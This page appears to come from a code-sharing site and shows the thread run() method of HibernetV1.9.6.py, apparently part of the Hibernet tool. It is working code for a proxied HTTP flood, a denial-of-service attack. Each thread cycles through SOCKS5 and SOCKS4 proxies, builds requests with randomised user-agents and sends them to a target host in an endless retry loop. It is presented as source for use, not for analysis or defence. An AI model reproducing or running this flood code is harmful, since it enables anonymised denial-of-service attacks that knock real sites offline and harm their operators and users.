HibernetV1.9.6.py 文件源码

python
阅读 39 收藏 0 点赞 0 评论 0

项目:Hibernet 作者: All3xJ 项目源码 文件源码
def run(self): # la funzione che da' le istruzioni ai vari threads
        useragent = "User-Agent: " + random.choice(useragents) + "\r\n" # scelta proxy a caso
        accept = random.choice(acceptall) # scelta accept a caso
        request = get_host + useragent + accept + connection + "\r\n" # composizione final request
        current = x # per dare l'id al thread
        if current < len(proxies): # se l'id del thread si puo' associare ad un proxy, usa quel proxy
            proxy = proxies[current].strip().split(':')
        else: # altrimenti lo prende a random
            proxy = random.choice(proxies).strip().split(":")
        go.wait() # aspetta che threads siano pronti
        while True:
            try:
                socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]), True) # comando per proxarci con i socks
                s = socks.socksocket() # creazione socket con pysocks
                s.connect((str(url2), int(urlport))) # connessione
                s.send (str.encode(request)) # invio
                print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # print req + counter
            except: # se qualcosa va storto questo except chiude il socket e si collega al try sotto
                s.close() # chiude socket
                try: # il try prova a vedere se l'errore e' causato dalla tipologia di socks errata, infatti prova con SOCKS4
                    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, str(proxy[0]), int(proxy[1]), True) # prova con SOCKS4
                    s = socks.socksocket() # creazione nuovo socket
                    s.connect((str(url2), int(urlport))) # connessione
                    s.send (str.encode(request)) # invio
                    print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # print req + counter
                except:
                    print ("Sock down. Retrying request. @", self.counter)
                    s.close() # se nemmeno con quel try si e' riuscito a inviare niente, allora il sock e' down e chiude il socket.
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号